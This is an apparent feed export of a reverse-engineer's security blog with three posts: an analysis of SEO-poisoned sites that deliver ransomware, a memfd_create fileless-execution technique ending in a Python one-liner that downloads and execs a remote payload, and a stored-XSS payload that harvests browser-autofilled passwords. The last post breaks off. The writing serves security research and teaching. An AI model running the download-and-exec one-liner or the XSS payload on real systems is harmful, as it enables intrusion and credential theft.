tag:blogger.com,1999:blog-82276114143715904252024-02-07T06:41:29.380+01:00Le journal d'un reverserMitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.comBlogger51125tag:blogger.com,1999:blog-8227611414371590425.post-46250275008116384512020-05-29T13:13:00.000+02:002020-05-29T13:13:30.771+02:00When ransomware does SEO<div>Last night I was called by a friend. Usual story, someone he knows has been cryptolocked, that's tragic, usual tears and screams, yadda yadda.</div><div><br /></div><div>When this particular story gets interesting is <u>how</u> the victim got infected. Usually, ransomware are deployed through mail attachment. This one was not really <i>delivered</i> to the victim, it was more the victim itself that fetch the ransomware. How does it possible? </div><div><br /></div><div>We'll see, it'a tragedy in 3 steps.</div><div><br /></div><div>I choose to write this blogpost because of this unusual delivery mechanism: using SEO to trick people into getting fake documents infected with malware is a funny move.</div><div><br /></div><h2 style="text-align: left;">### Step 1, when an innocent website gets infected</h2><div>At first, the pirate infect a website. In our precise case, its a french restaurant www.--REDACTED--.net. At first glance, nothing is suspect. The pirate adds a lot of pages in the blog section, with targeted contents, and "modèle" (model):</div><div><ul style="text-align: left;"><li>modèle nez rhinoplaste</li><li>modèle lettre de réclamation freebox</li><li>modèle pestel d'une entreprise</li><li>...</li></ul></div><div>All of those pages include a javascript link: "http://www.--REDACTED--.net/?aca30b6=223500"</div><div><br /></div><div>The first tricky part is here: You can download the js file, it's empty. So, how's thing working? It's because the infected webiste checks your referer. If you have a google referer, the js document gets really interesting:</div><div><br /></div><div>Technically speaking:</div><div><br /></div><pre style="text-align: left;">$ curl http://www.--REDACTED--.net/?aca30b6=223500</pre><pre style="text-align: left;">(nothing, empty page)</pre><div><br /></div><div>gives you an empty result, but:</div><div><br /></div><pre style="text-align: left;">$ curl --referer "google/?q=recherche.de.mandat" http://www.-REDACTED--.net/?aca30b6=223500</pre><pre style="text-align: left;">(data is fetched..)</pre><div>The javascript file is this one:</div><div><br /></div><div>
<!--HTML generated using hilite.me--><div style="background: rgb(255, 255, 255); border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;"><pre style="line-height: 125%; margin: 0px;"><span style="color: #008800; font-weight: bold;">function</span> remove(elem)
{ <span style="color: #008800; font-weight: bold;">if</span> (<span style="color: #333333;">!</span>elem) <span style="color: #008800; font-weight: bold;">return</span>;
elem.parentNode.removeChild(elem);
}
<span style="color: #008800; font-weight: bold;">if</span> (<span style="color: #333333;">!</span><span style="color: #007020;">document</span>.all) <span style="color: #007020;">document</span>.all <span style="color: #333333;">=</span> <span style="color: #007020;">document</span>.getElementsByTagName(<span style="background-color: #fff0f0;">"*"</span>);
<span style="color: #008800; font-weight: bold;">for</span> (i <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">0</span>; i <span style="color: #333333;"><</span> <span style="color: #007020;">document</span>.all.length; i<span style="color: #333333;">++</span>) {
<span style="color: #008800; font-weight: bold;">if</span> (<span style="color: #007020;">document</span>.all[i].tagName <span style="color: #333333;">==</span> <span style="background-color: #fff0f0;">"BODY"</span> <span style="color: #333333;">||</span> <span style="color: #007020;">document</span>.all[i].tagName <span style="color: #333333;">==</span> <span style="background-color: #fff0f0;">"HTML"</span>) { }
<span style="color: #008800; font-weight: bold;">else</span> { remove(<span style="color: #007020;">document</span>.all[i]);}
}
<span style="color: #007020;">document</span>.body.innerHTML <span style="color: #333333;">=</span> <span style="background-color: #ffaaaa; color: red;">'</span><span style="color: #333333;"><</span>html<span style="color: #333333;">><</span>head<span style="color: #333333;">><</span>title<span style="color: #333333;">></span>exemple de mandat gestion de projet<span style="color: #333333;"><</span><span style="background-color: #ffaaaa; color: red;">/title>(and all HTML code of page goes here)...</span>
</pre></div><br /></div><div>And we go to the step 2. This javascript wipe all HTML tag, and rewrite all the page. The page title is precisely the query search made by the victim.</div><div><br /></div><div>The beauty of tracking the google referer is that the legitimate owner will never see a problem: you don't browse your own site from google search... The google referer hack is not something new, but still really efficient.</div><div><br /></div><h2 style="text-align: left;">## Step 2 : a so innocent forum</h2><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE_E2l66voZHJn-O7R92wF8G2UTPLLuimSsv7dVTeefXkJXDhd-T-FhyphenhyphenMLWqoGysUfnzvpYsMJtNeF5ND9ce0Ao_DMBVcWW1FAc1F8KmxYCRbByQFtMApBRzC2eqKtLZ0d8-VnCC0mkaI/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="629" data-original-width="924" height="435" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE_E2l66voZHJn-O7R92wF8G2UTPLLuimSsv7dVTeefXkJXDhd-T-FhyphenhyphenMLWqoGysUfnzvpYsMJtNeF5ND9ce0Ao_DMBVcWW1FAc1F8KmxYCRbByQFtMApBRzC2eqKtLZ0d8-VnCC0mkaI/w640-h435/forum.png" width="640" /></a></div><div><br /></div><div>Look now at this beautiful site, this is not a restaurant anymore, this look like a forum. Nice user Fluffy asks for the exact same model searched (once again, the google query), and Admin answer with a link to the doc. Fluffy says thanks, soooo legit.</div><div><br /></div><div>If you look now for the victim side, nothing is suspected:</div><div><ul style="text-align: left;"><li>you search for a model of something</li><li>you click on a google link</li><li>you land on a forum with a link to the doc searched</li><li>--> I dare anybody to don't click to the link at this point!</li></ul></div><div>This is why this attack is so effective. Pirates doesn't send mail attachment, they do SEO and wait to victim to fall in trap. (Sort of waterholing attack?)</div><div><br /></div><div>And you guessed it! This is not a document. This is a zip, containing a .js file which download the final part of the puzzle. The name of the .js file? Exactly the name of the searched terms.</div><div><br /></div><div>The .js file is obfuscated:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsQGi6R1KmKxFNlbZmyOwdPl8qrO0uT3yfI5S6jp9z2iIKKb0i2NC1NAZ1hIh-TYGHeSWetxlqqLJV4Tm5QuR0XJRSfJXQQCo_UYNOkIdfWhMJ4suY-7zJNW8AarQ4mlPNtpg7dyEWYxA/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="507" data-original-width="739" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsQGi6R1KmKxFNlbZmyOwdPl8qrO0uT3yfI5S6jp9z2iIKKb0i2NC1NAZ1hIh-TYGHeSWetxlqqLJV4Tm5QuR0XJRSfJXQQCo_UYNOkIdfWhMJ4suY-7zJNW8AarQ4mlPNtpg7dyEWYxA/w400-h275/js_obfu.png" width="400" /></a></div><div><br /></div><div><br /></div><div>but you can recreate the real payload quite easily (no crypto, just the payload encoded twice):</div><div><br /></div><h2 style="text-align: left;">## Step 3 : the final stage of the attack</h2><div>This is the last script:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidv3sztmw3jFCCtwzNFmDE9CpDXNR63zrY5wv6cQxJpl0KxCKDvQFZRXwn3DxIqMdEE0dCOUbrMJD57HmEOYv1IssahAJZMt9KefrEQZy5Q0FT18KTM6mu0eG9DU8v1ElBeK-aDqr5yGI/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="598" data-original-width="1211" height="317" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidv3sztmw3jFCCtwzNFmDE9CpDXNR63zrY5wv6cQxJpl0KxCKDvQFZRXwn3DxIqMdEE0dCOUbrMJD57HmEOYv1IssahAJZMt9KefrEQZy5Q0FT18KTM6mu0eG9DU8v1ElBeK-aDqr5yGI/w640-h317/last_dl.png" width="640" /></a></div><div><br /></div><div><br /></div><div>Now, the victim will download the last stage of the attack. As you can see, the victim generates a random number </div><pre style="text-align: left;">Ua88 = Math.random().toString()["substr"](2,70+30);</pre><div>and the consequent download will be checked against this key. The <i>lbhdqisaoetysdwz=</i> variable name change for each download. There are other checks to bypass to get the final payload, but it's always the same things, timers, HTTP header checks, and so on.</div><div><br /></div><h2 style="text-align: left;">## Conclusion</h2><div>This blogpost has been written because I've never seen this kind of infection before. The legitimate user search for something, and the pirates paved all the way for him to get lost... </div><div><br /></div><div>A quick google search with choosen term shows that we have more blog infected with those models in a lot of blogs:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqOIx-4nd_CA44eoOO4MCtF9uV72xp57nGsDAcDacRfbekiP9CX61NhqOtEaGttNTJUdZYeZiU-zj9wV8fRZuJGAI46fpKCqYLUmwfRdyY0h2niEtFfBtm_WomlTOXoTu57avnsyZdJRQ/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="480" data-original-width="832" height="231" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqOIx-4nd_CA44eoOO4MCtF9uV72xp57nGsDAcDacRfbekiP9CX61NhqOtEaGttNTJUdZYeZiU-zj9wV8fRZuJGAI46fpKCqYLUmwfRdyY0h2niEtFfBtm_WomlTOXoTu57avnsyZdJRQ/w400-h231/modeles_blog.png" width="400" /></a></div><div><br /></div><div>Another one:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5NlwtdF4pFgksY26B0U8CJmJ_KMZSPbmV6g-EuoWeEfW3E9FxeI85-2O7LkNxhhq1gH53Kqd61eF0rB5wPQE7bgQGpkaood4Vz04GN2AOhyyZipA3qce74lsfZbUNMPimE2T0yAwgA5k/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="142" data-original-width="812" height="70" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5NlwtdF4pFgksY26B0U8CJmJ_KMZSPbmV6g-EuoWeEfW3E9FxeI85-2O7LkNxhhq1gH53Kqd61eF0rB5wPQE7bgQGpkaood4Vz04GN2AOhyyZipA3qce74lsfZbUNMPimE2T0yAwgA5k/w400-h70/karting.png" width="400" /></a></div><div><br /></div><div>Because when you know where to look, you find a lot of those sites. And for the fun fact, all commas are changed to backticks for an unknown reason (maybe because the pirate doesn't know how to escape commas 😃 ).</div><div><br /></div><div>And as usual, the VirusTotal shame for the js file</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMqieAhhWVqLBdsbY_k0mW6NJIhZFhXa6Uaa0GZiVqXpsSm2g_EBDnEOBZwB1DJEqkw_qvQb5tBF2XNxheXRS9J7-HxUFXBVOnEVEnRYeu1RCWzb4lVIzdTVtwLkCEPc7M8JKDbZKt3g/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="483" data-original-width="590" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMqieAhhWVqLBdsbY_k0mW6NJIhZFhXa6Uaa0GZiVqXpsSm2g_EBDnEOBZwB1DJEqkw_qvQb5tBF2XNxheXRS9J7-HxUFXBVOnEVEnRYeu1RCWzb4lVIzdTVtwLkCEPc7M8JKDbZKt3g/s320/virus_total_3AV.png" width="320" /></a></div><div><br /></div><div><br /></div><div>One last note for the user: He did some backups, and its antivirus killed the ransomware around after the tenth file encrypted. That's all for today, and be safe.</div><div><br /></div>Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-62873369678672924892019-02-20T12:16:00.002+01:002019-02-20T12:16:30.769+01:00Executing payload without touching the filesystem (memfd_create syscall)Sometime, you gain code execution on a target and you want to leverage it to a full metasploit payload (or any other relevant binary). If you have access to filesystem, you can copy payload and launch it. But defenders can use the noexec flag to disk, and sometime you just can't have the rights to write files. Wouldn't it be nice to have a download_and_exec_in_memory(payload) ?<br />
<br />
<h3>
0/ Intro</h3>
Since kernel 3.17 you can use memfd_create syscall. As the name says it, you can create a file descriptor in memory. If you're an attacker, you can use this nice syscall to execute binarys without touching any file in the filesystem! (excepting /proc).<br />
<br />
This is not something new, you can read documentation here:<br />
<br />
<ul>
<li><a href="https://movaxbx.ru/2018/04/02/in-memory-only-elf-execution-without-tmpfs/">https://movaxbx.ru/2018/04/02/in-memory-only-elf-execution-without-tmpfs/</a></li>
<li><a href="https://x-c3ll.github.io/posts/fileless-memfd_create/">https://x-c3ll.github.io/posts/fileless-memfd_create/</a></li>
<li><a href="http://man7.org/linux/man-pages/man2/memfd_create.2.html">http://man7.org/linux/man-pages/man2/memfd_create.2.html</a></li>
</ul>
<br />
<br />
<h3>
1/ A bit of syscall and python</h3>
At first, we read the syscall number, and args:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span> grep memfd_create /usr/include/x86_64-linux-gnu/asm/unistd_64.h
<span style="color: #c65d09; font-weight: bold;">#</span>define __NR_memfd_create 319
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span> cat /usr/include/linux/memfd.h
<span style="color: #c65d09; font-weight: bold;">#</span>ifndef _LINUX_MEMFD_H
<span style="color: #c65d09; font-weight: bold;">#</span>define _LINUX_MEMFD_H
<span style="color: #888888;">/* flags for memfd_create(2) (unsigned int) */</span>
<span style="color: #c65d09; font-weight: bold;">#</span>define MFD_CLOEXEC 0x0001U
<span style="color: #c65d09; font-weight: bold;">#</span>define MFD_ALLOW_SEALING 0x0002U
<span style="color: #c65d09; font-weight: bold;">#</span>endif /* _LINUX_MEMFD_H */
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span>
</pre>
</div>
<br />
The MFD_CLOEXEC is interesting (close fd when executed).<br />
<br />
python can't call syscall directly. Fortunately we have ctypes and a libc, so in order to create the memfd, we can just do this:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">#! /usr/bin/python3</span>
<span style="color: #008800; font-weight: bold;">import</span> <span style="color: #0e84b5; font-weight: bold;">ctypes</span>
<span style="color: #008800; font-weight: bold;">import</span> <span style="color: #0e84b5; font-weight: bold;">ctypes.util</span>
<span style="color: #008800; font-weight: bold;">import</span> <span style="color: #0e84b5; font-weight: bold;">time</span>
libc <span style="color: #333333;">=</span> ctypes<span style="color: #333333;">.</span>cdll<span style="color: #333333;">.</span>LoadLibrary(ctypes<span style="color: #333333;">.</span>util<span style="color: #333333;">.</span>find_library(<span style="background-color: #fff0f0;">'c'</span>))
fd <span style="color: #333333;">=</span> libc<span style="color: #333333;">.</span>syscall(<span style="color: #0000dd; font-weight: bold;">319</span>,b<span style="background-color: #fff0f0;">'Mitsurugi'</span>, <span style="color: #0000dd; font-weight: bold;">1</span>)
<span style="color: #008800; font-weight: bold;">assert</span> fd <span style="color: #333333;">>=</span> <span style="color: #0000dd; font-weight: bold;">0</span>
time<span style="color: #333333;">.</span>sleep(<span style="color: #0000dd; font-weight: bold;">60</span>) <span style="color: #888888;">#sleep is just here to let us list /proc file</span>
</pre>
</div>
<br />
And we can see that we have a new fd in our process:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span> ps ax | grep memfd
<span style="color: #888888;"> 6237 pts/5 S+ 0:00 /usr/bin/python3 ./memfd1.py</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span> ls -l /proc/6237/fd
<span style="color: #888888;">total 0</span>
<span style="color: #888888;">lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 0 -> /dev/pts/5</span>
<span style="color: #888888;">lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 1 -> /dev/pts/5</span>
<span style="color: #888888;">lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 2 -> /dev/pts/5</span>
<span style="color: #888888;">lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 3 -> /memfd:Mitsurugi (deleted)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span>
</pre>
</div>
the "(deleted)" string appears here, just don't pay attention to it.<br />
<br />
<h3>
2/ Ready to play!</h3>
The next part is super easy. Just copy bytes to the FD, and execv() it. For the clarity of the program, I just copy the <span style="font-family: Courier New, Courier, monospace;">/usr/bin/xeyes</span> binary to the memfd.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">#! /usr/bin/python3</span>
<span style="color: #008800; font-weight: bold;">import</span> <span style="color: #0e84b5; font-weight: bold;">ctypes</span>
<span style="color: #008800; font-weight: bold;">import</span> <span style="color: #0e84b5; font-weight: bold;">ctypes.util</span>
<span style="color: #008800; font-weight: bold;">import</span> <span style="color: #0e84b5; font-weight: bold;">os</span>
libc <span style="color: #333333;">=</span> ctypes<span style="color: #333333;">.</span>cdll<span style="color: #333333;">.</span>LoadLibrary(ctypes<span style="color: #333333;">.</span>util<span style="color: #333333;">.</span>find_library(<span style="background-color: #fff0f0;">'c'</span>))
fd <span style="color: #333333;">=</span> libc<span style="color: #333333;">.</span>syscall(<span style="color: #0000dd; font-weight: bold;">319</span>,b<span style="background-color: #fff0f0;">'Mitsurugi'</span>, <span style="color: #0000dd; font-weight: bold;">1</span>)
<span style="color: #008800; font-weight: bold;">assert</span> fd <span style="color: #333333;">>=</span> <span style="color: #0000dd; font-weight: bold;">0</span>
<span style="color: #008800; font-weight: bold;">with</span> <span style="color: #007020;">open</span>(<span style="background-color: #fff0f0;">'/usr/bin/xeyes'</span>, mode<span style="color: #333333;">=</span><span style="background-color: #fff0f0;">'rb'</span>) <span style="color: #008800; font-weight: bold;">as</span> f1:
<span style="color: #008800; font-weight: bold;">with</span> <span style="color: #007020;">open</span>(<span style="background-color: #fff0f0;">'/proc/self/fd/'</span><span style="color: #333333;">+</span><span style="color: #007020;">str</span>(fd), mode<span style="color: #333333;">=</span><span style="background-color: #fff0f0;">'wb'</span>) <span style="color: #008800; font-weight: bold;">as</span> f2:
f2<span style="color: #333333;">.</span>write(f1<span style="color: #333333;">.</span>read())
os<span style="color: #333333;">.</span>execv(<span style="background-color: #fff0f0;">'/proc/self/fd/'</span><span style="color: #333333;">+</span><span style="color: #007020;">str</span>(fd), [<span style="background-color: #fff0f0;">""</span>])
</pre>
</div>
<br />
And it works flawlessly. We could download the payload from anywhere in the internet instead of copying the file, closing the control terminal with setsid(), use dup2() to bind /dev/null for fd 0,1,2 and so on... (this is left as an exercise to the reader ;) ). <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDwIxD7t0vZUkpZbGYzOaJ9TuhfzViEETiju7FiyytHBG0qRc71NfBM507hxF7h3cJ45xyH6k44ovzJDid6WJ_qTV7-Zsw4e0jWPRiYTWyNyoC-SjGjllojlLTO9akbp0npFfzhDafwQQ/s1600/memfd2-xeyes.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="530" data-original-width="896" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDwIxD7t0vZUkpZbGYzOaJ9TuhfzViEETiju7FiyytHBG0qRc71NfBM507hxF7h3cJ45xyH6k44ovzJDid6WJ_qTV7-Zsw4e0jWPRiYTWyNyoC-SjGjllojlLTO9akbp0npFfzhDafwQQ/s1600/memfd2-xeyes.png" /></a></div>
<br />
<br />
<h3>
3/ From defender point of view</h3>
<h4>
3/1/ block with noexec doesn't work</h4>
My first though was to use the noexec for the /proc directory. Unfortunetaly, it doesn't help, all examples in the blogpost have been tested and verified with noexec:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span> mount | grep ^proc
<span style="color: #888888;">proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span>
</pre>
</div>
<br />
<h4>
3/2/ Detecting bad behavior</h4>
If we look closely we can see things:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span> ps ax | grep 6601
<span style="color: #888888;"> 6601 pts/6 S 0:00</span>
<span style="color: #888888;"> 6604 pts/6 S+ 0:00 grep 6601</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span>
</pre>
</div>
<br />
The process have no name at all (!). In some situation this could be seen as an advantage. If you are concerned, just use prctl() to rename your process.<br />
<br />
With the help of lsof we can find some unusual thing:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span> lsof | grep txt | grep 6601
<span style="color: #888888;">3 6601 mitsurugi txt REG 0,5 28744 224284 /memfd:Mitsurugi (deleted)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span>
</pre>
</div>
<br />
<h4>
3/3/ recovering the file</h4>
But, can we recover the binary bytes from fd? Remember that we use the MFD_CLOEXEC flag. The file descriptor is closed:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span> cat /proc/6601/fd/3 > output
<span style="color: #888888;">cat: /proc/6601/fd/3: No such device or address</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span>
</pre>
</div>
So, no tracks at all? Could it be the perfect backdoor? Not so fast, you can always cat the /proc/<pid>/exe to get code back:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span> cat /proc/6601/exe | md5sum
<span style="color: #888888;">443bdd422a4437e319d3b86330990c45 -</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span> cat /usr/bin/xeyes | md5sum
<span style="color: #888888;">443bdd422a4437e319d3b86330990c45 -</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/blog$</span>
</pre>
</div>
<br />
You can still copy an encrypted code in the fd and launch it with the key as argument, but someone could always dump the process memory and read bytes back. If code runs in the target machine, an analyst could get it.<br />
<br />
<h3>
4/ Conclusion</h3>
Here is a fun way to launch process without touching the file system and bypassing the noexec flag.<br />
I give the one-liner, you just have to host the payload, and it work:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">python3 <span style="color: #333333;">-</span>c <span style="background-color: #fff0f0;">'import ctypes,ctypes.util,os,requests; libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library("c"));fd = libc.syscall(319,b"Mitsurugi", 1);f2=open("/proc/self/fd/"+str(fd),"wb");f2.write(requests.get("http://127.0.0.1:8000/payload").content);f2.close();os.execv("/proc/self/fd/"+str(fd), [""])'</span>
</pre>
</div>
<br />Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-86569259781223849192018-06-20T13:25:00.003+02:002018-06-20T13:25:53.873+02:00Credential stealing with XSS without user interaction<h3>
0/ Intro</h3>
XSS are everywhere, on a lot of websites. It has been called the most underrated security vulnerability.<br />
<br />
On one hand, you can pop up an alert('PWNED') but it's not really worth to fear an alert() in your browser.<br />
<br />
On the other hand, people tend to store Login/Password in the browser. You log on to intranet.corp and Firefox asks to save password. You click yes.<br />
<br />
After a chat with <a href="https://twitter.com/XeR_0x2A" target="_blank">@XeR</a>, we figured that we can combine both to silently steal your credential with a simple XSS, without user interaction.<br />
<br />
<h3>
1/ Show me the code, or die()!</h3>
Our login form for intranet.corp:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #007700;"><HTML></span>
<span style="color: #007700;"><BODY></span>
<span style="color: #007700;"><form></span>
<span style="color: #007700;"><input</span> <span style="color: #0000cc;">type=</span><span style="background-color: #fff0f0;">"text"</span> <span style="color: #0000cc;">name=</span><span style="background-color: #fff0f0;">"user"</span> <span style="color: #007700;">/></span>
<span style="color: #007700;"><input</span> <span style="color: #0000cc;">type=</span><span style="background-color: #fff0f0;">"password"</span> <span style="color: #0000cc;">name=</span><span style="background-color: #fff0f0;">"pass"</span> <span style="color: #007700;">/></span>
<span style="color: #007700;"><input</span> <span style="color: #0000cc;">type=</span><span style="background-color: #fff0f0;">"submit"</span> <span style="color: #007700;">/></span>
<span style="color: #007700;"></form></span>
<span style="color: #007700;"></BODY></span>
<span style="color: #888888;"><!-- This is propa codaz --></span>
<span style="color: #007700;"></HTML></span>
</pre>
</div>
<br />
Log once, store password in browser:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgruVm3LOiv8uQI3htqYB3yAfeAmYQIm76MVP4-JHWpbCFOX91Weai0YDUhEp3pD9qlqXrDQHLLS1sBZi68iMnu3Z9Ra9wAAZrpV8J0pAWj7m1aIOoootl9vkMw6jHxN22gt_-KFWraes/s1600/login.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="105" data-original-width="689" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgruVm3LOiv8uQI3htqYB3yAfeAmYQIm76MVP4-JHWpbCFOX91Weai0YDUhEp3pD9qlqXrDQHLLS1sBZi68iMnu3Z9Ra9wAAZrpV8J0pAWj7m1aIOoootl9vkMw6jHxN22gt_-KFWraes/s1600/login.png" /></a></div>
<br />
The browser has saved the password. If you return to the login.html page, the user and pass are filled.<br />
<br />
<h3>
2/ Attack</h3>
Let say we have a stored XSS in website. Innocent user surf to this page. This page include evil javascript:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #008800; font-weight: bold;">var</span> form <span style="color: #333333;">=</span> <span style="color: #007020;">document</span>.createElement(<span style="background-color: #fff0f0;">"form"</span>);
<span style="color: #008800; font-weight: bold;">var</span> text <span style="color: #333333;">=</span> <span style="color: #007020;">document</span>.createElement(<span style="background-color: #fff0f0;">"input"</span>);
<span style="color: #008800; font-weight: bold;">var</span> pass <span style="color: #333333;">=</span> <span style="color: #007020;">document</span>.createElement(<span style="background-color: #fff0f0;">"input"</span>);
text.id <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"login"</span>;
text.name <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"login"</span>;
text.type <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"text"</span>;
pass.id <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"password"</span>;
pass.name <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"password"</span>;
pass.type <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"password"</span>;
form.appendChild(text);
form.appendChild(pass);
<span style="color: #007020;">window</span>.addEventListener(<span style="background-color: #fff0f0;">"load"</span>, <span style="color: #008800; font-weight: bold;">function</span>() {
console.log(<span style="background-color: #fff0f0;">"evil loader"</span>);
<span style="color: #007020;">window</span>.setTimeout(<span style="color: #008800; font-weight: bold;">function</span>() {
alert(text.value <span style="color: #333333;">+</span> <span style="background-color: #fff0f0;">":"</span> <span style="color: #333333;">+</span> pass.value);
}, <span style="color: #0000dd; font-weight: bold;">1000</span>);
});
</pre>
</div>
<br />
And "<i>voilà</i>". Javascript here add a form, Firefox autocomplete the values, then our little js read the values and alert() them to screen (possibilities are endless here).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
